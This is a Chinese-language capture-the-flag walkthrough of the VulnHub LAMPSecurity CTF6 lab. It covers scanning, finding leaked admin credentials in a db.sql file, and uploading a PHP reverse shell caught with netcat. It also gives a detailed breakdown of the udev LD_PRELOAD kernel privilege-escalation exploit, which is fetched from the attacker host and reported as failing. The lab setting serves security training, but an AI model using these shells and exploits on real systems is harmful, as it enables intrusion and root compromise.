LAMPSecurity: CTF6
来自 < https://www.vulnhub.com/entry/lampsecurity-ctf6,85/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.140
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.140

|--------|---------|-----------------------------|-----------------------------------------|
| 端口 | 服务 | 版本信息 | 关键风险 |
| 22 | SSH | OpenSSH 4.3 | 2006 年版本,存在多个漏洞,易受暴力破解和远程攻击 |
| 80 | HTTP | Apache httpd 2.2.3 (CentOS) | 老旧版本,有远程代码执行风险;PHPSESSID 未设 httponly 标志 |
| 111 | rpcbind | RPC #100000 | 可能泄露系统服务信息,辅助攻击者枚举目标 |
| 443 | HTTPS | Apache httpd 2.2.3 (CentOS) | 同 80 端口风险,SSL 证书已过期(2010 年到期) |
| 636 | status | RPC #100024 | RPC 状态服务,泄露系统信息 |
| 3306 | MySQL | 5.0.45 | 2007 年版本,存在权限绕过和远程代码执行漏洞 |
4,访问80端口开设的http服务

什么都没有,再扫描其子目录看看
gobuster dir -u http://192.168.23.140/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.23.140/sql/db.sql

得到了疑似账户密码的信息admin/adminpass
5,成功登录

http://192.168.23.140/index.php?action=add_event

找到文件上传位置,依旧上传kali自带木马,注意修改IP和端口
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
mousepad shell.php

上传之后点击home触发反弹shell,与此同时kali打开对4444端口的监听
nc -lvvp 4444

成功getshell
6,信息收集一下

查看目前用户能否sudo提权,发现sudo被禁用

注意到linux的内核版本,查询一下是否有提权exp
searchsploit linux kernel 2.6 |grep "Local Privilege Escalation"

searchsploit -m 8478.sh

一、漏洞背景
- udev 是 Linux 系统中用户空间的设备管理守护进程,负责处理内核通过 netlink 发来的热插拔事件。
- 漏洞点:udev 在解析事件时,会直接继承和处理用户伪造的消息,其中的 环境变量未做安全限制。
- 攻击者通过伪造事件消息注入 LD_PRELOAD,可以让 udev 在 root 权限下加载攻击者的动态库。
二、EXP 的组成部分
- udev.c
- 构造一个伪造的 netlink 消息,模拟设备 add 事件,发送给目标 udevd 的 pid。
- 关键在这里:
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
这会强制 udev 在处理事件时加载攻击者指定的 .so 文件。
- program.c
- 动态库的 _init() 函数会在加载时自动执行。
- 它做的事:
setgid(0); setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
把 /tmp/suid 变成一个 root:root 拥有的 setuid 程序。
- suid.c
- 一个很小的 C 程序:
setgid(0); setuid(0);
execl("/bin/sh","sh",0);
编译后 /tmp/suid 就是一个能直接获取 root shell 的程序。
- 一个很小的 C 程序:
三、执行流程
- 攻击者先运行脚本:
./8478.sh <pid>
其中 <pid> 是目标系统上 udevd 的 PID - 1(因为漏洞利用时这个值被用来构造 netlink 地址)。 - 脚本会自动:
- 编译 udev.c 生成 /tmp/udev,负责编造消息。
- 编译 program.c,生成恶意动态库 libno_ex.so.1.0,复制到 /tmp/。
- 编译 suid.c,生成 /tmp/suid。
- 执行 /tmp/udev <pid>:
- 向 udev 发送伪造的 netlink 消息。
- udev 处理时被注入 LD_PRELOAD=/tmp/libno_ex.so.1.0。
- 以 root 权限加载恶意库 → _init() 执行 → /tmp/suid 被提权为 root SUID 程序。
- 等 10 秒后,脚本执行:
/tmp/suid
直接获得一个 root shell。
四、使用要点
- 要知道 udevd 的 pid(通常 ps aux | grep udevd,然后减 1)。
- 要确保 /tmp/ 可写(大多数 Linux 都是可写的 tmpfs)。
- 成功运行后,/tmp/suid 会变成 root 权限 + SUID,可随时提权。
五、根本原理总结
- 攻击面:udev 的 netlink 消息处理。
- 技术点:通过伪造热插拔事件,注入环境变量 LD_PRELOAD。
- 本质:利用 root 进程加载动态库 → 执行恶意 _init() → 创建一个 SUID 提权程序。
7,kali开启http服务
python -m http.server

靶机下载提权脚本
cd /tmp
wget http://192.168.23.128:8000/8478.sh

赋予执行权限
chmod +x 8478.sh
查询udevd的pid
ps aux | grep udevd
./8478.sh 569

脚本利用失败